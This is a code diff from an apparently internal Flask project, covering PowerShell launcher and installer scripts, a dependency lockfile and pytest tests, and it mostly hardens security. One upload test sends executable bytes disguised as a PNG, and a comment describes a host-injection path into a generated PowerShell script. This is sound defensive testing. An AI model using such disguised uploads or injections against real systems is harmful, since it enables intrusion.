|
||||||
pytest-cov==7.1.0 \
|
pytest-cov==7.1.0 \
|
||||||
--hash=sha256:30674f2b5f6351aa09702a9c8c364f6a01c27aae0c1366ae8016160d1efc56b2 \
|
--hash=sha256:30674f2b5f6351aa09702a9c8c364f6a01c27aae0c1366ae8016160d1efc56b2 \
|
||||||
--hash=sha256:a0461110b7865f9a271aa1b51e516c9a95de9d696734a2f71e3e78f46e1d4678
|
--hash=sha256:a0461110b7865f9a271aa1b51e516c9a95de9d696734a2f71e3e78f46e1d4678
|
||||||
@@ -762,6 +766,10 @@ pytest-flask==1.3.0 \
|
|||||||
--hash=sha256:58be1c97b21ba3c4d47e0a7691eb41007748506c36bf51004f78df10691fa95e \
|
--hash=sha256:58be1c97b21ba3c4d47e0a7691eb41007748506c36bf51004f78df10691fa95e \
|
||||||
--hash=sha256:c0e36e6b0fddc3b91c4362661db83fa694d1feb91fa505475be6732b5bc8c253
|
--hash=sha256:c0e36e6b0fddc3b91c4362661db83fa694d1feb91fa505475be6732b5bc8c253
|
||||||
# via -r requirements-dev.in
|
# via -r requirements-dev.in
|
||||||
|
pytest-xdist==3.8.0 \
|
||||||
|
--hash=sha256:202ca578cfeb7370784a8c33d6d05bc6e13b4f25b5053c30a152269fd10f0b88 \
|
||||||
|
--hash=sha256:7e578125ec9bc6050861aa93f2d59f1d8d085595d6551c2c90b6f4fad8d3a9f1
|
||||||
|
# via -r requirements-dev.in
|
||||||
python-dotenv==1.2.2 \
|
python-dotenv==1.2.2 \
|
||||||
--hash=sha256:1d8214789a24de455a8b8bd8ae6fe3c6b69a5e3d64aa8a8e5d68e694bbcb285a \
|
--hash=sha256:1d8214789a24de455a8b8bd8ae6fe3c6b69a5e3d64aa8a8e5d68e694bbcb285a \
|
||||||
--hash=sha256:2c371a91fbd7ba082c2c1dc1f8bf89ca22564a087c2c287cd9b662adde799cf3
|
--hash=sha256:2c371a91fbd7ba082c2c1dc1f8bf89ca22564a087c2c287cd9b662adde799cf3
|
||||||
|
|||||||
@@ -19,7 +19,7 @@
|
|||||||
GCM handles those.
|
GCM handles those.
|
||||||
|
|
||||||
.PARAMETER Channel
|
.PARAMETER Channel
|
||||||
'stable' (main) or 'edge' (dev-be). Defaults to 'stable'.
|
'stable' (the newest release tag) or 'edge' (main, the trunk). Defaults to 'stable'.
|
||||||
|
|
||||||
.PARAMETER TargetDir
|
.PARAMETER TargetDir
|
||||||
Where to clone. Defaults to %USERPROFILE%\shopdb-dev, a separate working copy
|
Where to clone. Defaults to %USERPROFILE%\shopdb-dev, a separate working copy
|
||||||
@@ -85,12 +85,28 @@ function Clear-InterruptedRun {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
# A directory that exists but has no valid .git is a broken/partial clone;
|
# A directory that exists but has no valid .git is a broken/partial clone -
|
||||||
# remove it so the clone below can start fresh instead of failing.
|
# USUALLY. It is also what -TargetDir pointed at somebody's Documents folder
|
||||||
if ((Test-Path $Target) -and -not (Test-Path (Join-Path $Target '.git'))) {
|
# looks like, and this ran Remove-Item -Recurse -Force on it without asking.
|
||||||
|
# For a script distributed as "save it anywhere and run it", a mistyped
|
||||||
|
# -TargetDir must not be able to delete a user's files.
|
||||||
|
#
|
||||||
|
# Only reclaim a directory this script can show it owns: empty, or carrying
|
||||||
|
# the marker written after a successful clone. Anything else stops.
|
||||||
|
if ((Test-Path $Target) -and -not (Test-Path (Join-Path $Target '.git'))) {
|
||||||
|
$ours = Test-Path (Join-Path $Target $script:CloneMarker)
|
||||||
|
$empty = -not (Get-ChildItem -LiteralPath $Target -Force |
|
||||||
|
Select-Object -First 1)
|
||||||
|
if ($ours -or $empty) {
|
||||||
Write-Host "==> Removing incomplete clone at $Target" -ForegroundColor Cyan
|
Write-Host "==> Removing incomplete clone at $Target" -ForegroundColor Cyan
|
||||||
Remove-Item -Path $Target -Recurse -Force
|
Remove-Item -Path $Target -Recurse -Force
|
||||||
}
|
}
|
||||||
|
else {
|
||||||
|
throw ("$Target already exists, is not empty, and was not created " +
|
||||||
|
"by this launcher. Refusing to delete it. Pass -TargetDir " +
|
||||||
|
'pointing somewhere else, or remove it yourself if you are sure.')
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
# A clone created by an elevated (Administrator) run is owned by
|
# A clone created by an elevated (Administrator) run is owned by
|
||||||
# BUILTIN\Administrators; a later non-elevated run then trips git's
|
# BUILTIN\Administrators; a later non-elevated run then trips git's
|
||||||
@@ -104,8 +120,18 @@ function Clear-InterruptedRun {
|
|||||||
try { $probe = git -C $Target rev-parse --is-inside-work-tree 2>&1 } catch { $probe = "$_" }
|
try { $probe = git -C $Target rev-parse --is-inside-work-tree 2>&1 } catch { $probe = "$_" }
|
||||||
finally { $ErrorActionPreference = $previous }
|
finally { $ErrorActionPreference = $previous }
|
||||||
if ($probe -match 'dubious ownership') {
|
if ($probe -match 'dubious ownership') {
|
||||||
Write-Host "==> Removing clone with mismatched ownership at $Target (was it created from an elevated prompt?)" -ForegroundColor Cyan
|
# Same rule as above: a .git directory proves this is a clone, but
|
||||||
Remove-Item -Path $Target -Recurse -Force
|
# not that it is OUR clone, and re-cloning discards whatever is in
|
||||||
|
# it. Only reclaim one this launcher created.
|
||||||
|
if (Test-Path (Join-Path $Target $script:CloneMarker)) {
|
||||||
|
Write-Host "==> Removing clone with mismatched ownership at $Target (was it created from an elevated prompt?)" -ForegroundColor Cyan
|
||||||
|
Remove-Item -Path $Target -Recurse -Force
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
throw ("The git clone at $Target has mismatched ownership and " +
|
||||||
|
'was not created by this launcher, so it is not being ' +
|
||||||
|
'deleted. Remove it yourself, or pass -TargetDir elsewhere.')
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -114,7 +140,21 @@ function Clear-InterruptedRun {
|
|||||||
# stored GitHub credential for github.com, so clone/fetch authenticate against
|
# stored GitHub credential for github.com, so clone/fetch authenticate against
|
||||||
# the private repo without anything sensitive touching this script or disk.
|
# the private repo without anything sensitive touching this script or disk.
|
||||||
$repoUrl = 'https://github.com/ge-aero/shopdb-flask.git'
|
$repoUrl = 'https://github.com/ge-aero/shopdb-flask.git'
|
||||||
$branch = if ($Channel -eq 'edge') { 'dev-be' } else { 'main' }
|
# Written into a clone this launcher made, so a later run can tell its own
|
||||||
|
# working directory apart from one that happens to sit at the same path.
|
||||||
|
$script:CloneMarker = '.shopdb-launcher'
|
||||||
|
# Channels follow how this repo ships: a release is a TAG, the trunk is main.
|
||||||
|
# Upstream this read 'dev-be' for edge, which is that repo's trunk branch and
|
||||||
|
# does not exist here - the launcher would have cloned a missing branch.
|
||||||
|
$branch = 'main'
|
||||||
|
if ($Channel -ne 'edge') {
|
||||||
|
# Newest release tag, so 'stable' means a thing that was released rather
|
||||||
|
# than whatever the trunk happens to be today.
|
||||||
|
$tag = (git ls-remote --tags --refs --sort='-v:refname' $repoUrl 'v*' |
|
||||||
|
Select-Object -First 1) -replace '.*refs/tags/', ''
|
||||||
|
if ($tag) { $branch = $tag }
|
||||||
|
else { Write-Warning "No v* tag found; falling back to main for 'stable'." }
|
||||||
|
}
|
||||||
$target = if ($TargetDir) { $TargetDir } else { Join-Path $env:USERPROFILE 'shopdb-dev' }
|
$target = if ($TargetDir) { $TargetDir } else { Join-Path $env:USERPROFILE 'shopdb-dev' }
|
||||||
|
|
||||||
Write-Host "ShopDB dev launcher" -ForegroundColor White
|
Write-Host "ShopDB dev launcher" -ForegroundColor White
|
||||||
|
|||||||
@@ -6,7 +6,7 @@
|
|||||||
Produces ONE self-contained installer package for the requested channel:
|
Produces ONE self-contained installer package for the requested channel:
|
||||||
|
|
||||||
stable -> built from 'main', no DEV badge (SHOPDB_ENV_LABEL empty).
|
stable -> built from 'main', no DEV badge (SHOPDB_ENV_LABEL empty).
|
||||||
edge -> built from 'dev-be', red DEV badge (SHOPDB_ENV_LABEL=DEV).
|
edge -> built from 'main' (the trunk), red DEV badge (SHOPDB_ENV_LABEL=DEV).
|
||||||
|
|
||||||
This is the distributable counterpart to scripts/dev-bootstrap.ps1 (which
|
This is the distributable counterpart to scripts/dev-bootstrap.ps1 (which
|
||||||
stands a dev box up FROM the repo). Here the operator has no repo: the script
|
stands a dev box up FROM the repo). Here the operator has no repo: the script
|
||||||
@@ -28,14 +28,14 @@
|
|||||||
by branch, image tag, and label - all data, not code.
|
by branch, image tag, and label - all data, not code.
|
||||||
|
|
||||||
.PARAMETER Channel
|
.PARAMETER Channel
|
||||||
'stable' (main) or 'edge' (dev-be). Required.
|
'stable' (the newest release tag) or 'edge' (main, the trunk). Required.
|
||||||
|
|
||||||
.PARAMETER Version
|
.PARAMETER Version
|
||||||
Image tag / bundle version. Defaults to a channel-prefixed date stamp so two
|
Image tag / bundle version. Defaults to a channel-prefixed date stamp so two
|
||||||
channels built the same day never collide (e.g. 'stable-2024.06.01').
|
channels built the same day never collide (e.g. 'stable-2024.06.01').
|
||||||
|
|
||||||
.PARAMETER Ref
|
.PARAMETER Ref
|
||||||
Override the git ref to build. Defaults to 'main' for stable, 'dev-be' for
|
Override the git ref to build. Defaults to the newest v* tag for stable, 'main' for
|
||||||
edge. Lets a release engineer cut an installer from a tag or fix branch.
|
edge. Lets a release engineer cut an installer from a tag or fix branch.
|
||||||
|
|
||||||
.PARAMETER MysqlImage
|
.PARAMETER MysqlImage
|
||||||
@@ -80,12 +80,28 @@ param(
|
|||||||
|
|
||||||
$ErrorActionPreference = 'Stop'
|
$ErrorActionPreference = 'Stop'
|
||||||
|
|
||||||
# Channel -> (branch, badge label). The single source of channel truth, mirrored
|
# Channel -> (ref, badge label). The single source of channel truth, mirrored
|
||||||
# from dev-bootstrap.ps1 so the two entry points never disagree about what a
|
# from dev-bootstrap.ps1 so the two entry points never disagree about what a
|
||||||
# channel means.
|
# channel means.
|
||||||
|
#
|
||||||
|
# stable has NO fixed ref: a release here is a tag, not a branch, so it is
|
||||||
|
# resolved below from the newest v* tag. Writing 'main' here would build the
|
||||||
|
# trunk and hand it to a site under a word that promises a release - the same
|
||||||
|
# mislabel this repo's channel mapping was corrected for, missed in this file
|
||||||
|
# the first time round.
|
||||||
$channels = @{
|
$channels = @{
|
||||||
stable = @{ Ref = 'main'; EnvLabel = '' }
|
stable = @{ Ref = $null; EnvLabel = '' }
|
||||||
edge = @{ Ref = 'dev-be'; EnvLabel = 'DEV' }
|
edge = @{ Ref = 'main'; EnvLabel = 'DEV' }
|
||||||
|
}
|
||||||
|
|
||||||
|
function Resolve-StableRef {
|
||||||
|
# Newest release tag by version sort. Falls back to main with a warning
|
||||||
|
# rather than silently building something and calling it stable.
|
||||||
|
$tag = (git tag --list 'v*' --sort='-v:refname' | Select-Object -First 1)
|
||||||
|
if ($tag) { return $tag }
|
||||||
|
Write-Warning 'No v* tag in this repo; building stable from main.'
|
||||||
|
return 'main'
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
function Assert-LastExit([string]$What) {
|
function Assert-LastExit([string]$What) {
|
||||||
@@ -100,7 +116,11 @@ if (-not (Get-Command git -ErrorAction SilentlyContinue)) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
$config = $channels[$Channel]
|
$config = $channels[$Channel]
|
||||||
$branch = if ($Ref) { $Ref } else { $config.Ref }
|
# An explicit -Ref always wins. Otherwise the channel decides: edge is the
|
||||||
|
# trunk, stable resolves the newest release tag.
|
||||||
|
$branch = if ($Ref) { $Ref }
|
||||||
|
elseif ($config.Ref) { $config.Ref }
|
||||||
|
else { Resolve-StableRef }
|
||||||
if (-not $Version) { $Version = "$Channel-$(Get-Date -Format 'yyyy.MM.dd')" }
|
if (-not $Version) { $Version = "$Channel-$(Get-Date -Format 'yyyy.MM.dd')" }
|
||||||
|
|
||||||
$appImage = "shopdb-flask:$Version"
|
$appImage = "shopdb-flask:$Version"
|
||||||
@@ -271,8 +291,15 @@ Write-Host "==> Loading image bundle" -ForegroundColor Cyan
|
|||||||
docker load -i $bundle.FullName
|
docker load -i $bundle.FullName
|
||||||
if ($LASTEXITCODE -ne 0) { throw "docker load failed ($LASTEXITCODE)." }
|
if ($LASTEXITCODE -ne 0) { throw "docker load failed ($LASTEXITCODE)." }
|
||||||
|
|
||||||
|
# -p is NOT optional here. Without it compose names the project after the
|
||||||
|
# containing folder, which is shopdb-<channel>-<version> - so installing the
|
||||||
|
# next version creates a NEW project with new empty named volumes, and the site
|
||||||
|
# comes up looking wiped. The old data is still there under the old project's
|
||||||
|
# volumes, but nothing carries it across. Pin the project to the channel so an
|
||||||
|
# upgrade lands on the same volumes.
|
||||||
$composeArgs = @(
|
$composeArgs = @(
|
||||||
'compose', '--env-file', '.env',
|
'compose', '--env-file', '.env',
|
||||||
|
'-p', 'shopdb-__CHANNEL__',
|
||||||
'-f', 'docker-compose.airgap.yml',
|
'-f', 'docker-compose.airgap.yml',
|
||||||
'-f', 'docker-compose.channel.yml'
|
'-f', 'docker-compose.channel.yml'
|
||||||
)
|
)
|
||||||
@@ -289,6 +316,11 @@ Write-Host "ShopDB is up: https://localhost:$apiPort" -ForegroundColor Green
|
|||||||
Write-Host "Seed the first admin (once):"
|
Write-Host "Seed the first admin (once):"
|
||||||
Write-Host " docker compose --env-file .env -f docker-compose.airgap.yml exec api flask seed admin <user> <email> <password>"
|
Write-Host " docker compose --env-file .env -f docker-compose.airgap.yml exec api flask seed admin <user> <email> <password>"
|
||||||
'@
|
'@
|
||||||
|
# The here-string above is single-quoted so nothing in it interpolates - that
|
||||||
|
# is deliberate, the installer is full of $ that must survive verbatim. The
|
||||||
|
# compose project name is the one value that has to be baked per channel, so
|
||||||
|
# substitute it here rather than switching the whole block to interpolation.
|
||||||
|
$installer = $installer.Replace('__CHANNEL__', $Channel)
|
||||||
Set-Content -Path (Join-Path $pkgDir 'Install-ShopDB.ps1') -Value $installer -Encoding ASCII
|
Set-Content -Path (Join-Path $pkgDir 'Install-ShopDB.ps1') -Value $installer -Encoding ASCII
|
||||||
|
|
||||||
# --- 6. README ----------------------------------------------------------
|
# --- 6. README ----------------------------------------------------------
|
||||||
|
|||||||
@@ -12,7 +12,7 @@
|
|||||||
passed, because the app itself runs entirely in the container.
|
passed, because the app itself runs entirely in the container.
|
||||||
2. Picks a channel:
|
2. Picks a channel:
|
||||||
stable -> pulls the 'stable' image (built from main), no DEV badge.
|
stable -> pulls the 'stable' image (built from main), no DEV badge.
|
||||||
edge -> pulls the 'edge' image (built from dev-be), red DEV badge.
|
edge -> pulls the 'edge' image (built from main), red DEV badge.
|
||||||
The two channels use different compose project names, host ports, and
|
The two channels use different compose project names, host ports, and
|
||||||
named volumes, so they run side by side without colliding.
|
named volumes, so they run side by side without colliding.
|
||||||
3. Generates a .env for the channel (dev-grade secrets, NOT for production)
|
3. Generates a .env for the channel (dev-grade secrets, NOT for production)
|
||||||
@@ -25,10 +25,10 @@
|
|||||||
installer - see deploy/windows/installer/shopdb-install.ps1 for that.
|
installer - see deploy/windows/installer/shopdb-install.ps1 for that.
|
||||||
|
|
||||||
.PARAMETER Channel
|
.PARAMETER Channel
|
||||||
'stable' (main) or 'edge' (dev-be). Defaults to 'stable'.
|
'stable' (the newest release tag) or 'edge' (main, the trunk). Defaults to 'stable'.
|
||||||
|
|
||||||
.PARAMETER Ref
|
.PARAMETER Ref
|
||||||
Override the git ref to build. Defaults to 'main' for stable, 'dev-be' for
|
Override the git ref to build. Defaults to the newest v* tag for stable, 'main' for
|
||||||
edge. Retained for compatibility; the pull flow selects the image by channel
|
edge. Retained for compatibility; the pull flow selects the image by channel
|
||||||
tag, so this now only affects which branch the working tree is prepared on.
|
tag, so this now only affects which branch the working tree is prepared on.
|
||||||
|
|
||||||
@@ -74,7 +74,7 @@ $channels = @{
|
|||||||
ImageTag = 'stable'
|
ImageTag = 'stable'
|
||||||
}
|
}
|
||||||
edge = @{
|
edge = @{
|
||||||
Ref = 'dev-be'
|
Ref = 'main'
|
||||||
Project = 'shopdb-edge'
|
Project = 'shopdb-edge'
|
||||||
ApiPort = 5011
|
ApiPort = 5011
|
||||||
MysqlPort = 3316
|
MysqlPort = 3316
|
||||||
@@ -282,10 +282,20 @@ try {
|
|||||||
} else {
|
} else {
|
||||||
# Dev-grade secrets: generated locally, never for production. A real
|
# Dev-grade secrets: generated locally, never for production. A real
|
||||||
# deploy fills .env from the wiki runbook, not from this script.
|
# deploy fills .env from the wiki runbook, not from this script.
|
||||||
$secret = [Convert]::ToBase64String((1..48 | ForEach-Object { Get-Random -Maximum 256 }))
|
#
|
||||||
$jwt = [Convert]::ToBase64String((1..48 | ForEach-Object { Get-Random -Maximum 256 }))
|
# Get-Random is System.Random: a 32-bit seed, and all four values came
|
||||||
$dbPass = [Convert]::ToBase64String((1..18 | ForEach-Object { Get-Random -Maximum 256 })) -replace '[^A-Za-z0-9]', 'x'
|
# off one stream, so recovering the seed from any one of them recovers
|
||||||
$rootPass = [Convert]::ToBase64String((1..18 | ForEach-Object { Get-Random -Maximum 256 })) -replace '[^A-Za-z0-9]', 'x'
|
# the other three. These sign JWTs for a stack a pilot may point at a
|
||||||
|
# real imported dataset, so they come from the CSPRNG instead. "Dev
|
||||||
|
# grade" is about rotation and provenance, not about being guessable.
|
||||||
|
$secret = [Convert]::ToBase64String(
|
||||||
|
[System.Security.Cryptography.RandomNumberGenerator]::GetBytes(48))
|
||||||
|
$jwt = [Convert]::ToBase64String(
|
||||||
|
[System.Security.Cryptography.RandomNumberGenerator]::GetBytes(48))
|
||||||
|
$dbPass = ([Convert]::ToBase64String(
|
||||||
|
[System.Security.Cryptography.RandomNumberGenerator]::GetBytes(18))) -replace '[^A-Za-z0-9]', 'x'
|
||||||
|
$rootPass = ([Convert]::ToBase64String(
|
||||||
|
[System.Security.Cryptography.RandomNumberGenerator]::GetBytes(18))) -replace '[^A-Za-z0-9]', 'x'
|
||||||
$apiPort = $config.ApiPort
|
$apiPort = $config.ApiPort
|
||||||
$mysqlPort = $config.MysqlPort
|
$mysqlPort = $config.MysqlPort
|
||||||
$image = "$imageRepo`:$($config.ImageTag)"
|
$image = "$imageRepo`:$($config.ImageTag)"
|
||||||
|
|||||||
@@ -51,8 +51,12 @@ EXEMPT_ENDPOINTS = {'knowledgebase.track_click', 'users.update_user',
|
|||||||
# docs/proposals/printedparts-plugin.md; justification in
|
# docs/proposals/printedparts-plugin.md; justification in
|
||||||
# the plugin README.
|
# the plugin README.
|
||||||
'printedparts.kiosk_take',
|
'printedparts.kiosk_take',
|
||||||
# Deliberately open kiosk writes, same bar as the parts
|
# Deliberately open kiosk writes. NOT the same bar as the
|
||||||
# kiosk: they can ONLY move a USB device between
|
# parts kiosk, and the difference is the point: these are
|
||||||
|
# additionally behind usb_kiosk_enabled, which the parts
|
||||||
|
# kiosk has no equivalent of, so a site that never turns
|
||||||
|
# them on serves 404s where printedparts serves a live
|
||||||
|
# write. They can ONLY move a USB device between
|
||||||
# checked-out and checked-in, and only when a site has set
|
# checked-out and checked-in, and only when a site has set
|
||||||
# usb_kiosk_enabled (off by default - every one of these is
|
# usb_kiosk_enabled (off by default - every one of these is
|
||||||
# a 404 until then). Identity is a scanned badge resolved
|
# a 404 until then). Identity is a scanned badge resolved
|
||||||
|
|||||||
@@ -97,7 +97,9 @@ EXPECTED_HEAD_REVISION['warranty'] = 'warranty0002proof'
|
|||||||
# seeds the reusable monitor catalog, 0007 ships the shopfloor monitor policy
|
# seeds the reusable monitor catalog, 0007 ships the shopfloor monitor policy
|
||||||
# bundle, 0008 adds the warn-only reconciler drift cache column, and 0009 adds
|
# bundle, 0008 adds the warn-only reconciler drift cache column, and 0009 adds
|
||||||
# the operatorreports table for tray issue reports.
|
# the operatorreports table for tray issue reports.
|
||||||
EXPECTED_HEAD_REVISION['endpoints'] = 'endpoints0009opreports'
|
# 0010 renames the shipped business policy off the originating site's
|
||||||
|
# designator on installs that already stamped 0007 (ADR-015).
|
||||||
|
EXPECTED_HEAD_REVISION['endpoints'] = 'endpoints0010renamepolicy'
|
||||||
|
|
||||||
# Plugins built after the cutover: their 0001 baseline really creates tables the
|
# Plugins built after the cutover: their 0001 baseline really creates tables the
|
||||||
# core chain never owned.
|
# core chain never owned.
|
||||||
|
|||||||
@@ -235,3 +235,51 @@ def test_retention_disabled_keeps_old_reports(client, db, app):
|
|||||||
headers=_collector_headers(app))
|
headers=_collector_headers(app))
|
||||||
|
|
||||||
assert db.session.get(OperatorReport, old.operatorreportid) is not None
|
assert db.session.get(OperatorReport, old.operatorreportid) is not None
|
||||||
|
|
||||||
|
|
||||||
|
# --- what the route refuses to store -----------------------------------------
|
||||||
|
#
|
||||||
|
# The stored file is served back as image/png, and the size cap is the only
|
||||||
|
# thing bounding what an agent key can push into the instance directory. Both
|
||||||
|
# guards used to be nominal: the cap was checked AFTER upload.read() had already
|
||||||
|
# pulled the whole body into memory, and the extension was forced to .png
|
||||||
|
# whatever the bytes were.
|
||||||
|
|
||||||
|
def test_upload_refuses_bytes_that_are_not_a_png(client, db, app):
|
||||||
|
from plugins.endpoints.models import OperatorReport
|
||||||
|
|
||||||
|
_computer(db, 'OPREPORT-NOTPNG')
|
||||||
|
data = {
|
||||||
|
'hostname': 'OPREPORT-NOTPNG',
|
||||||
|
'details': 'not really a screenshot',
|
||||||
|
'screenshot': (io.BytesIO(b'MZ\x90\x00 this is a PE, not an image'),
|
||||||
|
'shot.png'),
|
||||||
|
}
|
||||||
|
response = client.post(UPLOAD_URL, data=data,
|
||||||
|
content_type='multipart/form-data',
|
||||||
|
headers=_collector_headers(app))
|
||||||
|
assert response.status_code == 400
|
||||||
|
# Nothing was written: not the row, and not a file under the uploads dir.
|
||||||
|
assert OperatorReport.query.filter_by(
|
||||||
|
reportedhostname='OPREPORT-NOTPNG').first() is None
|
||||||
|
|
||||||
|
|
||||||
|
def test_upload_refuses_an_image_over_the_cap(client, db, app):
|
||||||
|
from plugins.endpoints.api.routes import OPERATOR_REPORT_MAX_IMAGE_BYTES
|
||||||
|
from plugins.endpoints.models import OperatorReport
|
||||||
|
|
||||||
|
_computer(db, 'OPREPORT-HUGE')
|
||||||
|
# A real PNG header so the size check is what rejects it, not the signature.
|
||||||
|
oversized = _png_bytes() + b'\x00' * (OPERATOR_REPORT_MAX_IMAGE_BYTES + 1)
|
||||||
|
data = {
|
||||||
|
'hostname': 'OPREPORT-HUGE',
|
||||||
|
'details': 'oversized',
|
||||||
|
'screenshot': (io.BytesIO(oversized), 'shot.png'),
|
||||||
|
}
|
||||||
|
response = client.post(UPLOAD_URL, data=data,
|
||||||
|
content_type='multipart/form-data',
|
||||||
|
headers=_collector_headers(app))
|
||||||
|
assert response.status_code == 400
|
||||||
|
assert 'limit' in response.get_json()['data']['error']['message']
|
||||||
|
assert OperatorReport.query.filter_by(
|
||||||
|
reportedhostname='OPREPORT-HUGE').first() is None
|
||||||
|
|||||||
@@ -197,3 +197,86 @@ def test_resolved_monitors_unknown_hostname_is_404(client, db, app):
|
|||||||
response = client.get(RESOLVED_URL, query_string={'hostname': 'NOSUCHBOX'},
|
response = client.get(RESOLVED_URL, query_string={'hostname': 'NOSUCHBOX'},
|
||||||
headers=_collector_headers(app))
|
headers=_collector_headers(app))
|
||||||
assert response.status_code == 404
|
assert response.status_code == 404
|
||||||
|
|
||||||
|
|
||||||
|
# --- shipped rows are product-owned IDENTITY, not a fixed opinion about disks --
|
||||||
|
#
|
||||||
|
# The shipped bundle used to be uneditable in every field and attached to a
|
||||||
|
# hardcoded PC-type name. A plant whose eDNC sits on another drive, or whose
|
||||||
|
# type is called something else, could neither correct it nor turn it off, and
|
||||||
|
# then carried permanent false drift for it. ADR-015 allows seed data because a
|
||||||
|
# site can edit it afterwards.
|
||||||
|
|
||||||
|
def _shipped(db, displayname='eDNC', **kwargs):
|
||||||
|
from plugins.endpoints.models import EndpointMonitor
|
||||||
|
|
||||||
|
monitor = EndpointMonitor(
|
||||||
|
kind=kwargs.pop('kind', 'process'),
|
||||||
|
displayname=displayname,
|
||||||
|
processname=kwargs.pop('processname', 'DncMain'),
|
||||||
|
launchpath=kwargs.pop('launchpath', r'C:\Program Files\Dnc\bin\DncMain.exe'),
|
||||||
|
source='shipped', isactive=True, **kwargs)
|
||||||
|
db.session.add(monitor)
|
||||||
|
db.session.flush()
|
||||||
|
return monitor
|
||||||
|
|
||||||
|
|
||||||
|
def test_a_site_can_correct_a_shipped_monitors_launch_path(
|
||||||
|
client, db, auth_headers):
|
||||||
|
monitor = _shipped(db)
|
||||||
|
response = client.put(
|
||||||
|
'/api/endpoints/monitors/%d' % monitor.endpointmonitorid,
|
||||||
|
json={'launchpath': r'D:\Dnc\bin\DncMain.exe'}, headers=auth_headers)
|
||||||
|
assert response.status_code == 200
|
||||||
|
assert response.get_json()['data']['launchpath'] == r'D:\Dnc\bin\DncMain.exe'
|
||||||
|
|
||||||
|
|
||||||
|
def test_a_site_can_switch_off_a_shipped_monitor_it_does_not_run(
|
||||||
|
client, db, auth_headers):
|
||||||
|
monitor = _shipped(db, displayname='Universal Data Collector',
|
||||||
|
processname='UDC')
|
||||||
|
response = client.put(
|
||||||
|
'/api/endpoints/monitors/%d' % monitor.endpointmonitorid,
|
||||||
|
json={'isactive': False}, headers=auth_headers)
|
||||||
|
assert response.status_code == 200
|
||||||
|
assert response.get_json()['data']['isactive'] is False
|
||||||
|
|
||||||
|
|
||||||
|
def test_a_shipped_monitor_keeps_the_identity_the_policy_matches_on(
|
||||||
|
client, db, auth_headers):
|
||||||
|
"""0007 attaches its bundle by (kind, displayname), so those stay put."""
|
||||||
|
monitor = _shipped(db)
|
||||||
|
response = client.put(
|
||||||
|
'/api/endpoints/monitors/%d' % monitor.endpointmonitorid,
|
||||||
|
json={'displayname': 'Renamed'}, headers=auth_headers)
|
||||||
|
assert response.status_code == 403
|
||||||
|
assert monitor.displayname == 'eDNC'
|
||||||
|
|
||||||
|
|
||||||
|
# --- which PC type the shipped bundle attaches to is a setting ---------------
|
||||||
|
|
||||||
|
def test_shipped_monitors_follow_the_configured_pctype(client, db, app):
|
||||||
|
from plugins.endpoints.api.monitors import (
|
||||||
|
SHIPPED_PCTYPE_SETTING, _resolve_pctype_monitors)
|
||||||
|
|
||||||
|
_shipped(db)
|
||||||
|
Setting.set(SHIPPED_PCTYPE_SETTING, 'Shop Floor Workstation')
|
||||||
|
db.session.commit()
|
||||||
|
|
||||||
|
# The plant's own name for the type resolves the bundle...
|
||||||
|
assert [m.displayname for m in
|
||||||
|
_resolve_pctype_monitors('Shop Floor Workstation')] == ['eDNC']
|
||||||
|
# ...and the name this shipped with no longer does.
|
||||||
|
assert _resolve_pctype_monitors('Shopfloor PC') == []
|
||||||
|
|
||||||
|
|
||||||
|
def test_a_blank_shipped_pctype_attaches_the_bundle_to_nothing(client, db, app):
|
||||||
|
"""The neutral behaviour for a site that does not want the bundle: off,
|
||||||
|
rather than silently attached to whatever happens to match."""
|
||||||
|
from plugins.endpoints.api.monitors import (
|
||||||
|
SHIPPED_PCTYPE_SETTING, _resolve_pctype_monitors)
|
||||||
|
|
||||||
|
_shipped(db)
|
||||||
|
Setting.set(SHIPPED_PCTYPE_SETTING, '')
|
||||||
|
db.session.commit()
|
||||||
|
assert _resolve_pctype_monitors('Shopfloor PC') == []
|
||||||
|
|||||||
@@ -4,7 +4,7 @@ Migration endpoints0007shippedpolicy offloads the eDNC/UDC/MTConnect monitors
|
|||||||
from the agent's hardcoded appsettings.json into a product-owned policy bundle:
|
from the agent's hardcoded appsettings.json into a product-owned policy bundle:
|
||||||
a shipped ConfigurationPolicy "Shopfloor App Monitors" (global scope, one
|
a shipped ConfigurationPolicy "Shopfloor App Monitors" (global scope, one
|
||||||
desired-state monitor action per shipped monitor) wrapped in a shipped
|
desired-state monitor action per shipped monitor) wrapped in a shipped
|
||||||
BusinessPolicy "RPCA Shopfloor App Monitors".
|
BusinessPolicy "Shopfloor App Monitors".
|
||||||
|
|
||||||
Run the endpoints chain against a fresh engine, alongside the computers policy
|
Run the endpoints chain against a fresh engine, alongside the computers policy
|
||||||
tables the bundle writes into, and assert the bundle exists, is source='shipped'
|
tables the bundle writes into, and assert the bundle exists, is source='shipped'
|
||||||
@@ -25,7 +25,7 @@ _ENDPOINTS_VERSIONS = _ROOT / 'plugins' / 'endpoints' / 'migrations' / 'versions
|
|||||||
_COMPUTERS_VERSIONS = _ROOT / 'plugins' / 'computers' / 'migrations' / 'versions'
|
_COMPUTERS_VERSIONS = _ROOT / 'plugins' / 'computers' / 'migrations' / 'versions'
|
||||||
|
|
||||||
CONFIG_POLICY_NAME = 'Shopfloor App Monitors'
|
CONFIG_POLICY_NAME = 'Shopfloor App Monitors'
|
||||||
BUSINESS_POLICY_NAME = 'RPCA Shopfloor App Monitors'
|
BUSINESS_POLICY_NAME = 'Shopfloor App Monitors'
|
||||||
|
|
||||||
|
|
||||||
def _load(path, prefix):
|
def _load(path, prefix):
|
||||||
|
|||||||
@@ -102,3 +102,62 @@ def test_install_batch_resolves_vendor_via_model(
|
|||||||
def test_install_batch_requires_ids(client, db, auth_headers, printer_assettype):
|
def test_install_batch_requires_ids(client, db, auth_headers, printer_assettype):
|
||||||
resp = client.get('/api/printers/install-batch', headers=auth_headers)
|
resp = client.get('/api/printers/install-batch', headers=auth_headers)
|
||||||
assert resp.status_code == 400
|
assert resp.status_code == 400
|
||||||
|
|
||||||
|
|
||||||
|
# --- the generated script is a script: what reaches it must be a hostname -----
|
||||||
|
#
|
||||||
|
# _batch_base_url() interpolates a request-supplied host into the single-quoted
|
||||||
|
# PowerShell -Uri literal of the .bat this route hands out, and site_base_url
|
||||||
|
# ships blank, so that fallback is the DEFAULT path rather than an edge case.
|
||||||
